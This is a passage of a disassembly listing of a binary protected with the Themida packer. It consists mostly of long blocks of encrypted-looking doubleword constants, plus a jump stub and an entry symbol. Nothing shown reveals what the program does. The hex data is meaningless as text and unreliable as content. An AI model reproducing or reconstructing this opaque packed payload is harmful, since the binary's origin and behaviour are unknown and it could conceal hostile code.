		dd 3802F16h, 0E3DD1B7Eh, 40BCC8A5h, 44DF0B00h, 0D3EAAC0Dh
		dd 0F461587Ah, 8BF67E81h, 0CA02BF7h, 0A94C00C7h, 0B6B3A095h
		dd 1F1E83A1h, 7EEED263h, 5FA6D303h, 913BA1C0h, 4150402Ah
		dd 6516AD4Ah, 6EBDD400h, 9D3763EDh, 91A49E64h, 0CD147862h
		dd 3E191FCh, 0B8A12DC3h, 5720F8C0h, 0EDDB1340h,	0BC40906Eh
		dd 2B0F39B6h, 8F3FC7EBh, 0C0FA041Ah, 6C6BB080h,	0A1E212CDh
		dd 7F8A262h, 0C32195AAh, 90BAB190h, 12C20053h, 1CE38D4Ah
		dd 0B800150Eh, 0C84872Fh, 5C66DB5Fh, 82D7E8F3h,	0CC66448h
		dd 536D3E00h, 40B3E9CCh, 571B18D0h, 0F4FBC6BEh,	0B0F04700h
		dd 0DE1187BBh, 0F09165h, 0E6371E71h, 2001C67Eh,	0A3CCFB94h
		dd 202EF530h, 0D8B8C4D8h, 66B7D201h, 6893286Eh,	0D183102Ch
		dd 0D4D32C02h, 0F0DD1FD1h, 30E9BC28h, 0BD00943Bh, 0ECC625F0h
		dd 0A95822B4h, 14396E8Ch, 9A106801h, 0D4E1C230h, 21004243h
		dd 7392E06h, 0C66BB76h,	14D20A2Bh, 0D3780131h, 54CA855Ah
		dd 0D41AF71Eh, 0E20EFF29h, 0DC06795h, 44D9BE7Ah, 3C2427F2h
		dd 0A300A04Dh, 222BDAD0h, 8A7AF3h, 0B1EEF2BCh, 0FF137989h
		dd 0B3DDD312h, 4F1F4CE6h, 0DE643244h, 28C388DAh, 278614E1h
		dd 0CC10E3D8h, 0C8B44147h, 0FE850540h, 0D180081h, 0D51724A6h
		dd 3E040EAEh, 73759A3Ah, 5841FB01h, 0FC402A3Ch,	40631C0h
		dd 0C1620089h, 0F03EDF42h, 6B00FB13h, 579694D6h, 9E368508h
		dd 60AE40ACh, 59010C82h, 66B33B9h, 8C046984h, 0DC0085E8h
		dd 5C61C5B2h, 5D2D6D50h, 2804447Ah, 40623D05h, 443A0DEFh
		dd 0B44A03C6h, 2133E274h, 0D45B1499h, 0A00CCFEh, 42FB435Fh
		dd 2F839260h, 0ACA06EA6h, 0F016B85Ch, 0B995B607h, 2420AEDAh
		dd 8B864Dh, 0C26D5FE7h,	0B871F85Ch, 0EF4ED07h, 0C1C09874h
		dd 3D9E6822h, 9A561E2h,	2818D4E5h, 1FBDD78h, 0E2C98C51h
		dd 229D3BB0h, 0FA730FF0h, 85FC092Bh, 18C0F688h,	94B51E5Dh
		dd 72824014h, 280EC595h, 0A2B42C66h, 0E049E2ADh, 4DBE4E24h
		dd 3B14B4B9h, 0FACAD098h, 1864A7F4h, 0A6265F0Eh, 490BC05Ah
		dd 0B06E5517h, 990A0035h, 0B5FCBEB6h, 320043A6h, 97EC27DCh
		dd 0CD40370h, 0BCA99E47h, 0B700DE20h, 14B2287Bh, 4E6274h
		dd 36C282D8h, 0C1A55376h, 0B5FDAF00h, 91DC90B9h, 0CCFF0025h
		dd 0AAF7785Ch, 76FCC0ADh, 46E0DA00h, 3E48B306h,	0C2CF006Fh
		dd 0B49E567h, 9011A96h,	50EB12B5h, 0BCC43E52h, 44A403D5h
		dd 27BDB9B6h, 0CEC82AE0h, 0E975709h, 0EE3A80FAh, 67C1AAADh
		dd 80A081C5h, 809662F5h, 0E199E503h, 0EE2EBFBBh, 0C0A67621h
		dd 0C079B851h, 0DF00A7CBh, 83F6BB7Bh, 90B28245h, 0E6417F71h
		dd 40930017h, 0C67D2ED2h, 0A06A00Fh, 0C9D6C7C2h, 5A4F0151h
		dd 673B84D2h, 55D0D736h, 121C5409h, 0A06A9ECDh,	17658702h
		dd 0E01A0A29h, 0BA9C56h, 7AF4A10Eh, 0C3EB8256h,	54C65203h
		dd 0ED9E8648h, 0D8C0CC5Dh, 0DD92232Ch, 9F8B3CE4h, 18C137B5h
		dd 6EFC08ADh, 0C7182C00h, 1A8F3F10h, 0B3F00FFAh, 536008F5h
		dd 0EF7A2FFDh, 0D6E99D0Ch, 28C4B9C7h, 4CB8AE20h, 2F1FEEB4h
		dd 47968326h, 84F06C4Eh, 0B760402Eh, 511B5989h,	0A40218A6h
		dd 5548138h, 29D0FE00h,	0ADE8F9CFh, 1E5F0C6Ch, 96990C58h
		dd 20A60300h, 78C28D98h, 0E819C3B1h, 5878BBD6h,	0B6F61400h
		dd 24563FC8h, 35A53073h, 72B80B61h, 302EB3Bh, 0A621D789h
		dd 0FC54F35Ch, 0D840005Fh, 18FD1084h, 20E07405h, 400060EBh
		dd 5EC7FB30h, 1B5D0033h, 3F09CFC2h, 9AFA4588h, 59169D03h
		dd 111D01Dh, 0A4C6C2E0h, 3B5FE46h, 3E82E7CFh, 0C0B8912Fh
		dd 78281210h, 10997100h, 0E490234Dh, 793A00C2h,	0C51F3E67h
		dd 48E7ADB6h, 47549DD0h, 0AF0025A4h, 9610A184h,	0DFB43F2Fh
		dd 1D5F0020h, 0A22E6CEAh, 0B9EB300h, 4E743AC4h,	2F2D06D6h
		dd 89E0A4DCh, 0D284A900h, 8163804Ah, 1E1F78F0h,	1F4CC09Ah
		dd 0E0CEC0A7h, 0CA88B777h, 0F8B1D62Ah, 37751501h, 0CD2A3682h
		dd 27869B40h, 5A9209C5h, 5420A39Eh, 830156C2h, 0A8E93B00h
		dd 0A50C34B7h, 9B9C0020h, 0BF265A03h, 8A006387h, 8F2E8025h
		dd 0EB0A924h, 16314BA4h, 0A9304886h, 9F4EEA1Fh,	93A4D03Ch
		dd 1C01367Dh, 0C2BCA0BAh, 904860F3h, 3D9EF0C4h,	5903DF0Dh
		dd 0ED2E2750h, 3FA00980h, 9F741D07h, 3B20FA94h,	72BFB3B9h
		dd 802092C7h, 0E84EE6DCh, 0CC7600B0h, 0CF31E77Fh, 2F00173Eh
		dd 0F7566EEFh, 789C6407h, 2AA4313Bh, 0D046C2A1h, 5B004927h
		dd 0BFC5E43Ch, 7164FDh,	1B57E115h, 7E92A19Fh, 0A52D7912h
		dd 81EFBC20h, 0BAFD0029h, 5742CFF6h, 5F009463h,	0D92B348h
		dd 5ED11h, 5ADBEB96h, 0B2322E0Ah, 0A4240092h, 9A403045h
		dd 958C3Bh, 4A569EFh, 70DC99B0h, 849CAE54h, 0CC0AB44Fh
		dd 68809401h, 548317BAh, 9EE60FDFh, 0AE80D490h,	3DB415E0h
		dd 0C3BCAB15h, 4E0700F8h, 0B291D156h, 70100078h, 6D838E7Ah
		dd 4824578Ah, 0E044E4A6h, 0AD8BC780h, 2E690C5Eh, 14CE9B79h
		dd 48DB3B3Bh, 0BC9A803Ch, 19187A8h, 0B3F59358h,	20965FA5h
		dd 0E3060836h, 0C8C11860h, 21D83E81h, 61319206h, 0DE00C1DAh
		dd 9E9812C6h, 1DFFBA20h, 0B3DFF2F4h, 808F136Eh,	4F2CCDF5h
		dd 890A21E3h, 1098FC79h, 0F88850h, 0ACB07A8Dh, 0AECB32A4h
		dd 0B1E3C900h, 7CFDCF3Fh, 419D01B7h, 369ED21Bh,	0BFD0E4F3h
		dd 1822F1h, 544A633Dh, 0CA7E893h, 0BD6677AAh, 89004069h
		dd 98CABA28h, 29FB7h, 0E47996FEh, 2BB39467h, 0E91E1100h
		dd 3686BB31h, 0F6F7B74h, 0FE5791ACh, 9933FF40h,	7FFE6C43h
		dd 0E236200Eh, 65772094h, 8804C3C4h, 0D1DCA89Dh, 46DA0840h
		dd 1D7E8CA0h, 80D04C59h, 6F998A6Eh, 9726F1B6h, 34000C38h
		dd 4711DF78h, 54460357h, 568E3F1Bh, 66D84FC3h, 0CE06B08Ah
		dd 0DC80D109h, 7078A07Ch, 0A72D09EEh, 9C98B4DEh, 0A2EE1EBBh
		dd 6962705h, 688C121Ch,	0BE0B2h, 0A7BAE664h, 3586B62h
		dd 2BAF39C1h, 0F9E592C2h, 4ED3C06Eh, 0B3009907h, 3076DC20h
		dd 1E89F37h, 2AEE0CA4h,	22A5B5D1h, 0E3943F20h, 0A0D47650h
		dd 0C82B1Eh, 0F8894B30h, 6D741B2h, 9A956701h, 0E76B1173h
		dd 99D14331h, 0F06AEED0h
		dd 0EC2813ABh, 92281FB2h, 4A452FBh, 801DAF90h, 0A0D5F6FCh
		dd 29671724h, 3BB4AB00h, 12594B29h, 27994C1Eh, 68D760C4h
		dd 6B021CCCh, 58769BB0h, 4B55601Fh, 92367F79h, 0D091DCh
		dd 91B08B20h, 0B4B09270h, 6C286890h, 0C32CB415h, 301B1CE3h
		dd 849F9FE9h, 2C88616Dh, 7586009Ah, 26F0F303h, 4C0927F1h
		dd 8EAE5484h, 9F9AE3F8h, 0F4A7B019h, 352D26F3h,	24316418h
		dd 3A40CCh, 0C4945163h,	208B2233h, 0C81FB230h, 2CF74609h
		dd 1420596Bh, 360584CDh, 20A60C11h, 0EFE25C4h, 6A715300h
		dd 0F67ED131h, 0E9B702CEh, 3C6782ACh, 0AEC46760h, 0E680A4B1h
		dd 41D3C6FAh, 0BF9807F0h, 112F36F4h, 899F1C8Ch,	9057D210h
		dd 11ED654h, 5FFF83F3h,	0EC696A8Eh, 0F875DF87h,	0AAE62705h
		dd 0F488A664h, 7773B5h,	0A0398856h, 524B09AEh, 95CE9617h
		dd 3558BC05h, 3BE663C0h, 80E09991h, 0F0C166A9h,	0FA00E790h
		dd 0D88B6F5Eh, 1DD9EDE9h, 3ED4FCFBh, 2842BA4h, 6E52C2DEh
		dd 0BF3454C0h, 7E6CAC00h, 8F4C8393h, 941D58B4h,	6146A686h
		dd 424DA400h, 0F1286218h, 30C3726Eh, 4929B0C1h,	5F01162Fh
		dd 0D072DD13h, 91EB9CEEh, 0B8F72E0Ch, 0A8B765B4h, 17762488h
		dd 0F8211C6h, 0E5A1ECF6h, 729EE86Bh, 0A0A8000Ch, 0C4A7B25Eh
		dd 8B3B3B9Bh, 7A85429h,	3EEBC8h, 9B94810Fh, 0A978CA00h
		dd 423CE913h, 0D60E2885h, 51E44Ch, 0D95ECC69h, 0C26E0FEEh
		dd 4C3CC314h, 93E91C84h, 78C14DCFh, 26D59531h, 1D7E377h
		dd 0A530F7ACh, 868AF872h, 0C6BC4218h, 479929h, 0BA53291Ah
		dd 735271E1h, 178E85Ch,	0B2CF3058h, 2F120C65h, 6908580h
		dd 0B013D4F3h, 0C0252EBFh, 69784C04h, 0B7979CC1h, 5801EA20h
		dd 0C9871CD6h, 0A7EEB068h, 0F27B99ADh, 200CBBEAh, 61B2616Fh
		dd 0DDE26Eh, 54ADE8D4h,	2A474655h, 1ABF6315h, 0C1520F34h
		dd 1045ABA4h, 14D23160h, 0BC991E17h, 0F7C88780h, 72749D19h
		dd 837AB498h, 0D54F2F00h, 0D002A0C2h, 0B331262Ah, 1FA8A804h
		dd 89B9301Fh, 0FC08DD89h, 2CC44330h, 0C9388385h, 3694D100h
		dd 610EB0E4h, 0AAC1C0B4h, 0CC6C64EDh, 8173EA00h, 0BFAE3935h
		dd 594EE29h, 0E328157Dh, 0F35440E7h, 622B65E1h,	0E2B89106h
		dd 90E93CA4h, 3E24B980h, 0C08C4326h, 9A9798F2h,	9F70C148h
		dd 0DD8A9EC0h, 1619D25h, 299F5D1Eh, 2020B2C2h, 0B1746EE4h
		dd 0A84E2F4Bh, 0B9B3ACC4h, 8C20246Bh, 4E71270h,	806975A8h
		dd 4D32771Bh, 67BD6307h, 9FD2FC93h, 2688643Fh, 129870C1h
		dd 3288C877h, 40355500h, 238AE9A6h, 0C17E5B09h,	306D4ECAh
		dd 32274632h, 55402199h, 40EE19ADh, 2CD06B2Bh, 3944D589h
		dd 0AF508A00h, 12B6F2ABh, 663D8801h, 0EB56C970h, 859AE840h
		dd 97670064h, 861BA7A4h, 6C963D2Fh, 0F94215BDh,	43470098h
		dd 96343E0Bh, 37190C50h, 3D29AF99h, 0DC60B800h,	64041202h
		dd 3AEA1C1Ah, 70BD6D4h,	0B3BA3Ch, 2F935243h, 3E54C603h
		dd 0CFABEF81h, 3C9F82BFh, 0AFCE6FBh, 402AB691h,	0CC444988h
		dd 27D9BD00h, 11D10BB1h, 254A00D4h, 0C1F38AADh,	0A52A5974h
		dd 0A63EAC43h, 88DE0631h, 48507C8Eh, 4E85043Dh,	0DCA0811Eh
		dd 0FD70409Bh, 14177D65h, 402799E4h, 0A84F53B3h, 73F988h
		dd 3DA2E1F1h, 13D468D8h, 0A39F490Eh, 9552811Eh,	88B86FAh
		dd 7C00C5CCh, 2A38BFECh, 0A63050B2h, 19199DDh, 0E84097E6h
		dd 6400CC76h, 0BB748D03h, 60C2D4ADh, 574850C1h,	970BD931h
		dd 18609444h, 0FEE1550h, 0C681CA8Dh, 0F077CDA7h, 0F2459566h
		dd 511AF01h, 30499FA8h,	0C98A3182h, 0A0A1ADC1h,	208EE848h
		dd 0F100EBC5h, 7FB8D890h, 26739CEh, 0E2181B61h,	0D04624BFh
		dd 5B9AEC02h, 0C06C9ED1h, 9CCFC3DCh, 0FB761E78h, 4EE93A80h
		dd 0A59E98D5h, 52000892h, 0A130613Bh, 1FDAADh, 0C7EC397Fh
		dd 16B35F09h, 0DC3FA42Ch, 89E43E42h, 71F087C8h,	4B946059h
		dd 4C3A7C6Fh, 0A448D01Bh, 0FB1C7700h, 2E153B46h, 18269F16h
		dd 0E7CEE058h, 9E8518D7h, 29E14899h, 44CA3E1Ch,	876B39C1h
		dd 803140C2h, 0B01B6C00h, 599025C1h, 5F4B7010h,	4F22E700h
		dd 0B2E757Fh, 26E0EA99h, 1EF41h, 9BB467E2h, 4701C331h
		dd 532DABE8h, 90C6D6A3h, 0B714EB0h, 0D5065792h,	59EADA00h
		dd 0B01E3436h, 28C221FBh, 0A0A09F82h, 0B7532A94h, 0A6740015h
		dd 8961ABFDh, 9F244FF0h, 9C42183Bh, 48449Eh, 66C3F45Eh
		dd 7AC8C14Ah, 97151B17h, 0AE478C00h, 7B2FB17h, 30FE4E3Dh
		dd 0C681999h, 300F340h,	0E4F289E0h, 1F7BA7h, 0BB3E46B8h
		dd 41226976h, 80A0615Ch, 5CA1507Ah, 6CB7B52h, 0A5EB5E6Eh
		dd 0AD769141h, 21BB6200h, 78C0BA96h, 1CF1348h, 8428000Eh
		dd 9F3950F3h, 9562BE02h, 80E3C21Ch, 9B0736E0h, 65EA171Eh
		dd 0DA0008F2h, 83092E8Ah, 5AF8A700h, 0B74300Ch,	0B24D9929h
		dd 0A8A0A900h, 0F89906A2h, 2144C687h, 0B070C0B7h, 679D3911h
		dd 97D80AEh, 0C83FDA85h, 317E2D54h, 82865494h, 179BF61h
		dd 16CDF5C5h, 0D0B17063h, 0B2A08ED5h, 321DC8D9h, 0DE00CE53h
		dd 688D36C4h, 8F6F0188h, 0EE3BE1E6h, 0AE8848A4h, 2A151E00h
		dd 0E232F99Ch, 744E0059h, 0D73682C2h, 250AE4E5h, 0B0AAC3C6h
		dd 0C4C7BE42h, 3E1B16E8h, 0B270875Ch, 0FCE43DA4h, 874C6448h
		dd 0B487AF67h, 7EF434E0h, 9BF7098Bh, 34839A08h,	5AD86EB1h
		dd 0A62632D1h, 0A04E68A5h, 0E53B9531h, 0A47C7CA1h, 0A6C10088h
		dd 0D275686Bh, 66226177h, 10E700BBh, 0B7E51DE0h, 33001443h
		dd 4411966Ah, 6B3E52h, 0B029DEF9h, 0E6D43D93h, 18FEA93Ch
		dd 641BE61h, 0AD6638CDh, 0E786D809h, 0E8321881h, 10C3299h
		dd 59776F35h, 38F8873Ah, 8E3C093Eh, 2C4454ACh, 34E43B00h
		dd 5550D314h, 2FD00205h, 0D51E70A8h, 146C1C62h,	0EEC8F4A3h
		dd 3E041A4Ch, 0B4ADB687h, 27DCCA2h, 0C5F6D17Ch,	44A0354Ch
		dd 6B13CA11h, 0EA523000h, 47E185DEh, 1B0C3C2Dh,	0B6FE7680h
		dd 0A48C3B9Bh, 274C2B50h, 8F5B9800h, 83E4E05Dh,	473D0161h
		dd 1EA19681h, 0C863EBh,	7EA4B8D6h, 902E59h, 0FEBDC9C0h
		dd 6A02F18Eh, 0C45FBE1Eh, 10FC59F0h, 0A0AFF059h, 0DE1BBE5Ch
		dd 511E0049h, 27C2A691h, 0A21CBF2Dh, 0DA7BC40Ch, 0C6D0518h
		dd 0CC352AB3h, 20779374h, 5F13869h, 0C80936FCh,	0E790807Bh
		dd 28055229h, 370A5BFh,	5653C791h, 0BCC818A2h, 0AA0329B5h
		dd 0E95524C5h, 0BD49009Bh, 0C1E4E20Eh, 3512F7A5h, 0BC09E8A4h
		dd 0AB7D07EBh, 81689EC1h, 396064FEh, 2A000D86h,	83F34678h
		dd 2600849Fh, 44963C79h, 1915FF1Dh, 31F630A4h, 1A83957h
		dd 0C2FA4769h, 43F03559h, 135A0064h, 2F3BE2Ch, 342E30D7h
		dd 0DF13B803h, 67CC3400h, 9897A494h, 871E4C38h,	643F007Ch
		dd 0E7C1F98Dh, 3A25C454h, 0BF5402C8h, 4C90901Dh, 9421F0DCh
		dd 486F6690h, 705CC8FAh, 0F569057Ch, 8B22D7Ah, 6E7D8200h
		dd 0E219652h, 0F5E9B00h, 73E3A7F4h, 0A2D0739h, 3031E4C9h
		dd 49B97D52h, 84D29800h, 79ACDFBEh, 0AFCD02EFh,	54B36912h
		dd 0AD4B7C81h, 0A246F420h, 80028E3Dh, 4371829Fh, 0BAB525h
		dd 114AA6EDh, 6135E736h, 2F9B1CA0h, 376D8500h, 3B672A8Ch
		dd 45040079h, 4464D560h, 1001B1AAh, 0A26F183Fh,	0C7C6E47h
		dd 9C576A80h, 0E0006787h, 0E8F971FFh, 1A33446h,	3E4F44DFh
		dd 3028094Eh, 0F3173B13h, 482742A4h, 14385B0h, 37A20093h
		dd 0E8B8762Dh, 0EE002F2Ah
		dd 0DD2ECE4Dh, 0FC2291E7h, 23A04A5Dh, 0C0C0EF1Ch, 0B90EAD59h
		dd 6FAA7030h, 6E41DE2Bh, 0A50FA79Fh, 0DD00487Dh, 746A853Bh
		dd 141C62CAh, 1BC07628h, 43E7217Ah, 0BE31169Ch,	0DA7E037Ch
		dd 9EA85523h, 0BC9978C3h, 435C3428h, 449F843Ch,	138504F0h
		dd 90588FACh, 0B4ABF328h, 0FEA5100h, 0AA5F1626h, 1ED40179h
		dd 0F8B06B61h, 3C207068h, 9E09E001h, 0D01D6916h, 0D474B140h
		dd 1E0C0454h, 0E4D678C2h, 91004310h, 2009A4BFh,	3B8675E5h
		dd 0D700216Bh, 3F6D97AFh, 3890D965h, 32617000h,	0B16C4847h
		dd 8316749h, 5243F379h,	2D4416D8h, 0A700FB72h, 86E594C3h
		dd 0C054DD40h, 8073FCD9h, 0EE138E24h, 0B488EB1Fh, 97A50018h
		dd 9A4ACB05h, 5F5BC4AFh, 0F7EEDC20h, 0BF8E00EAh, 75CCB812h
		dd 9A00F052h, 2019A209h, 1CDE7F1h, 1C7EB01Ah, 0ECE9B66Ch
		dd 7508B7EAh, 84F93EA4h, 8240A647h, 13417EA0h, 646196DAh
		dd 0C45F820h, 0A7B50039h, 0F5EE1A8Bh, 8E001FA8h, 50536679h
		dd 5A469727h, 4E48202Bh, 0BD3CD13Ch, 96AC80A7h,	1980F4EAh
		dd 0A18B0039h, 511B6605h, 3C0CE458h, 5893CB67h,	7FDB022Eh
		dd 0AEC149F6h, 0DF1C4A0h, 2039CB2h, 914658C7h, 5370A075h
		dd 292708Fh, 597D1FEBh,	0D3C0B08Ah, 0B0B6F69h, 9878484Eh
		dd 6C96DCh, 0DE57DA45h,	0C81959F9h, 484294Ch, 4F560335h
		dd 8C122C94h, 0CB8780D0h, 0D9390270h, 0FE2B2EBFh, 72EC900Bh
		dd 418E0E4Eh, 12FB25h, 0DE8BDFA2h, 0A04935Ch, 0C188D6ECh
		dd 998F2888h, 88D6C40Ch, 0F500DFE8h, 232D4FEFh,	1A426A5h
		dd 66D436A2h, 70EC832Ch, 98987E38h, 0EF3D2D1Eh,	798DE3C4h
		dd 2B964B0h, 42ABE757h,	1C7B9DC7h, 9312ECA0h, 58011687h
		dd 1EB6F73Bh, 0F046C430h, 0EC64041Bh, 0C111CC4Fh, 0D4AD39B4h
		dd 216FC5E9h, 0FF9E0530h, 0BEA54CCh, 1E555279h,	2F875002h
		dd 7CD7A061h, 3E9307ECh, 3B479F4Dh, 867059B7h, 5C7CEF04h
		dd 7800B008h, 372EE999h, 40004474h, 0F4BF9CAFh,	95E2B361h
		dd 4D68A410h, 42376C05h, 0D70285C1h, 40A23B51h,	1159768h
		dd 0B1D0C27Dh, 800A6611h, 0AA2E51F2h, 0B07B4392h, 120CB014h
		dd 88C85825h, 8D007AC8h, 1E482DBh, 0F130CF3h, 896BD456h
		dd 0D5A479C0h, 99244F78h, 0FF801C9Ah, 9E55A8D6h, 9F4901A2h
		dd 32E4DBD7h, 0EDACF98Bh, 9E1702Ch, 315094A1h, 0B748605Ch
		dd 14A79D24h, 4430BA40h, 0D1330F66h, 76408A2Ch,	0D9CD1635h
		dd 0B5A01B00h, 0A136390Bh, 44F40937h, 64723E2Fh, 0E7EC5900h
		dd 981E131h, 1E743F30h,	0EEE375F5h, 0C46917A5h,	0E12C22C5h
		dd 102A1061h, 1FAAF72Eh, 2C322176h, 14790083h, 15E3F18Ah
		dd 0E6C34F01h, 31B17C33h, 0F2E969ECh, 9C4C0264h, 0D1D2AB6Ch
		dd 73F330D8h, 5CC00C4h,	13F8B132h, 568C484Eh, 54578107h
		dd 676E8298h, 4D994040h, 3264B8A8h, 5D061200h, 0AA18D791h
		dd 0E7900A8h, 2AE09251h, 6F2C0146h, 0F78006E2h,	1C6CAE89h
		dd 0BA7E0009h, 2A7A5B7Ch, 5800B870h, 0AE8FF59Eh, 957F19h
		dd 0CEE03E1Bh, 8041A81Eh, 3F9DBD3Ah, 5450E02h, 518A6CE9h
		dd 1DBE0FC3h, 856E862Eh, 6ACB97E0h, 0A5029A58h,	6708384Eh
		dd 7CB3C001h, 0D700052h, 9B51021Ch, 0FC019FD9h,	39101706h
		dd 508021D3h, 7231C7BFh, 2F18B8F2h, 517854CEh, 716E1B45h
		dd 0D4D8C9A3h, 0CA60C837h, 0E3E7258h, 82760C77h, 0B3492CE7h
		dd 0FD6EAF0Fh, 0F31E3CC6h, 88417300h, 63A288Fh,	239C2013h
		dd 2F30C98Ch, 9F6BE093h, 0EB8A0055h, 5F64577Ch,	6A7AED36h
		dd 254B7209h, 0AF8D82A6h, 0B0F440BFh, 97C05F6h,	0C05714h
		dd 728E17F3h, 0F2009941h, 7D55FEF8h, 7E064921h,	0C96005Eh
		dd 0C60BCE95h, 4BE0C435h, 0E4DD8400h, 0B6EC1E5Fh, 5C860189h
		dd 6AB1C958h, 0E1F1A4BBh, 72C4E400h, 0A9EAFh, 9650CF9Dh
		dd 0FEC63B02h, 69A9C306h, 1D31BD71h, 8E3C16CEh,	0BC7508h
		dd 0D8DE5F65h, 0C828F553h, 3600CA28h, 7C55DB3Fh, 3071E16Ch
		dd 26D99F8Fh, 0E9FC166Dh, 0B8AE3A24h, 0FA716F00h, 0A120BEh
		dd 19D81787h, 685C427Ch, 24C06900h, 45D548D7h, 3DA8A889h
		dd 0C94B004Fh, 0DB4D9D65h, 0AD0B5BB6h, 0E2BD2Eh, 0A532E15Fh
		dd 0BCEEF8h, 41B69B61h,	7C6C5F10h, 91545E03h, 0A21C9CA7h
		dd 5BB89094h, 86163803h, 0FCEEFF8Fh, 0F1D773E1h, 2C93C499h
		dd 8E461118h, 18BFE81h,	0BA01EAECh, 201C5198h, 1D263EE6h
		dd 0A30F9869h, 0E5232472h, 0A1C67080h, 80C690EEh, 60C17188h
		dd 725C9004h, 0A2546ABCh, 0C201B1ACh, 344D0A88h, 999EE58Eh
		dd 7B6DCFEh, 0DE94D0DBh, 5F66E240h, 8E0BBC65h, 803D3BC8h
		dd 332DDB81h, 0B4D91F74h, 9C87820Dh, 0A16049A8h, 5C92F83Ah
		dd 0D4C78A0h, 0D01DE9E8h, 0CE0AF6FEh, 0CD01B406h, 8F15EE6Ch
		dd 4A79186h, 40F5391Dh,	0A5A33B48h, 3D83200Bh, 0C26D40D3h
		dd 719E00F3h, 35A2B3ACh, 260A5597h, 3CF73EA7h, 8D641000h
		dd 48A94A86h, 7C80C807h, 0A215FEFBh, 3BFDD300h,	0DB64BE0h
		dd 679C7791h, 361941BAh, 8F18E8FEh, 0AA88AD94h,	522C0063h
		dd 33EF79D0h, 0E731B837h, 0D5E059FBh, 14E3CE8h,	0A8CC560Fh
		dd 30ED07B7h, 903E4850h, 48B130EEh, 0CC2D89h, 68A7FAEFh
		dd 73A97972h, 3D6DF544h, 0CA85C252h, 30F94309h,	851B7784h
		dd 0EF00A97Fh, 0DB33C522h, 0F96106BAh, 79BEC1E0h, 0EEAA002Bh
		dd 1018F823h, 0C7010C94h, 3DBB2783h, 8180B071h,	0DACE5D67h
		dd 0C81D44C5h, 9DFC25BEh, 0A1C02DEEh, 0F9362406h, 487A3D4Ch
		dd 1E61848Fh, 0BF6014EAh, 0E59A52B9h, 0D490D84Eh, 0A0A8F345h
		dd 0C200BC6Eh, 0E1AF5B3Ch, 7735D2A2h, 0CC94500Dh, 8C1E0237h
		dd 2CD3CF6Dh, 0B4929020h, 9C290046h, 0A6FD3935h, 23010A57h
		dd 7BB9FE5Ah, 6980A971h, 35A5F9C2h, 7DE078DCh, 0E38C361Fh
		dd 415A9000h, 0A40CA7DAh, 547202A8h, 918FF425h,	62CDE4A0h
		dd 0BD00D471h, 0C46164DBh, 3B9C0FB4h, 0D5BD4EE2h, 0D44F538Fh
		dd 0EDFC58E2h, 4300D466h, 6EE24A8Fh, 4C789B3Bh,	5A09708Ah
		dd 0B8048325h, 57E0C080h, 8F37A13Eh, 4F2718Eh, 0FCBEE0CFh
		dd 99F060E4h, 57E1193Bh, 0EDDC3900h, 0BB292B8Ah, 27EF0A58h
		dd 5F01CCB3h, 6CFFFFh, 0
; ---------------------------------------------------------------------------


loc_5495FC:				; CODE XREF: Themida_:loc_4E1265j
					; DATA XREF: Themida_:loc_4E1086o
		jmp	loc_54CB35
; ---------------------------------------------------------------------------
		align 4
		dd 4 dup(0)
		dd 0FFFFFF00h, 0FFh, 3 dup(0)
		dd 9BB700h, 0Ch	dup(0)
		dd 63149600h, 0FE277509h, 52h, 0
		dd 0BF002300h, 9Fh, 0BC00h, 6 dup(0)
		dd 5B6AB300h, 5	dup(0)
		dd 0F2FFB000h, 0AB691C01h, 80h,	6 dup(0)
		dd 0FF26A800h, 0B0FFh, 5CCE5700h, 2 dup(0)
		dd 51C00h, 7 dup(0)
		dd 0FE030400h, 7Fh, 2Ch	dup(0)
		dd 2593BE00h, 3Dh, 0A2FA5600h, 3 dup(0)
		dd 0FE030400h, 7Fh, 0B0B1CA00h,	0
		dd 0D4C96A00h, 77h, 6 dup(0)
		public start
start		dd 3 dup(0)
		dd 0F1054800h, 38000FEh, 0
		dd 0C7D21C00h, 63h, 5 dup(0)
		dd 0FF779700h, 0EDFCE1FFh, 7Ah,	10h dup(0)
		dd 1FCFC00h, 80h, 0CD4D9000h, 0E4h, 0
		dd 58284700h, 0
		dd 0A2939300h, 4 dup(0)
		dd 0A3326800h, 371D800h, 5 dup(0)
		dd 5A2C4500h, 0Ch dup(0)
		dd 40000000h, 0A269DD00h, 4 dup(0)
		dd 58284700h, 0
		dd 0A3156400h, 4 dup(0)
		dd 5A2BE800h, 0
		dd 0A75DD700h, 1DE000FFh, 0
		dd 1F186700h, 0FAh, 3 dup(0)
		dd 58284700h, 0
		dd 0CBA98800h, 0EDh, 58001A00h,	5CCE5700h, 4 dup(0)
		dd 0A49BAC00h, 58004400h, 2 dup(0)
		dd 573FD700h, 8	dup(0)
		dd 5CCE5700h, 2	dup(0)
		dd 0D2FFB000h, 0Ah dup(0)
		dd 12FF5400h, 0FE030400h, 7Fh, 3 dup(0)
		dd 2F4D7A00h, 68h, 4 dup(0)
		dd 8C00h, 2 dup(0)
		dd 0FF4F0000h, 0FFh, 4 dup(0)
		dd 5CF1DC00h, 2	dup(0)
		dd 0FFFFFF00h, 0FFh, 0
		dd 58496C00h, 12FF5800h, 3 dup(0)
		dd 4EB00h, 0
		dd 0A29F00h, 5CA74300h,	9 dup(0)
		dd 0ED4A3D00h, 2BF70A07h, 0EAh,	0
		dd 590C1700h, 6	dup(0)
		dd 5B9B8700h, 0D8ECE00h, 18h, 87h dup(0)
		dd 100h, 4 dup(0)
		dd 40100000h, 0Bh dup(0)
		dd 5893BE00h, 0A031FCD7h, 6Fh, 4 dup(0)
		dd 9E2FC000h, 280105FEh, 3A4C4B0Ah, 35h, 11000000h, 4 dup(0)
		dd 59CE7900h, 0A29C3775h, 45098700h, 48h, 0A269DD00h, 0Bh dup(0)
		dd 0A400h, 18D500h, 2 dup(0)
		dd 54C0C200h, 0
		dd 43000000h, 2, 0FF4D1700h, 0FFh, 4B000000h, 2, 2 dup(0)
		dd 0FE030400h, 7Fh, 9800h, 0BC00h, 3 dup(0)
		dd 0A3326800h, 200h, 3 dup(0)
		dd 0A269DD00h, 3 dup(0)
		dd 100h, 2 dup(0)
		dd 0FE030400h, 7Fh, 36363600h, 36h, 2 dup(0)
		dd 1FCFC00h, 80h, 0
		dd 200h, 0E7A09900h, 77h, 0
		dd 5BD98000h, 0
		dd 700000h, 0
		dd 9CD82400h, 0B1685402h, 2 dup(0)
		dd 843600h, 0
		dd 54D65E00h, 0
		dd 12FF5400h, 8	dup(0)
		dd 22FFB000h, 0D3C1C202h, 0A47FD851h, 21A200h, 5 dup(0)
		dd 56ACB900h, 80h, 0
		dd 4B6BD700h, 13A802h, 7 dup(0)
		dd 177AEB00h, 48h, 0
		dd 3D9400h, 2 dup(0)
